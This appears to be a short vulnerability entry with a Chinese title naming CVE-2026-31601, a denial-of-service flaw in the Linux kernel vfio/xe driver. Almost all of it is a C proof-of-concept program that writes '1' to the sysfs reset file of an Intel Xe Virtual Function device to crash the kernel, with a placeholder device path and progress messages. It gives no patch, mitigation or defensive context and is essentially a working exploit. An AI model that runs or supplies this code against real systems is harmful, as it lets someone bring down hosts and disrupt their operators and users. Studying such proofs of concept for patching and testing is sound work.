CVE-2026-31601 Linux内核vfio/xe驱动拒绝服务漏洞

// PoC for CVE-2026-31601 // Trigger kernel panic by resetting a VF device that does not support migration. // Requires local access and a susceptible Intel Xe device. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main() { // Replace with actual device path, e.g., /sys/bus/pci/devices/0000:03:00.1/reset // This path typically corresponds to the Virtual Function (VF) of an Xe device. const char *reset_path = "/sys/bus/pci/devices/XXXX:XX:XX.X/reset"; int fd; const char *trigger = "1"; printf("[*] Attempting to trigger CVE-2026-31601...\n"); printf("[*] Target: %s\n", reset_path); fd = open(reset_path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open reset file"); return 1; } // Write to the reset file to trigger the function reset_store // which calls xe_vfio_pci_reset_done and leads to the page fault. if (write(fd, trigger, strlen(trigger)) < 0) { perror("[-] Failed to write to reset file"); } else { printf("[+] Trigger sent. If vulnerable, kernel panic should occur.\n"); } close(fd); return 0; }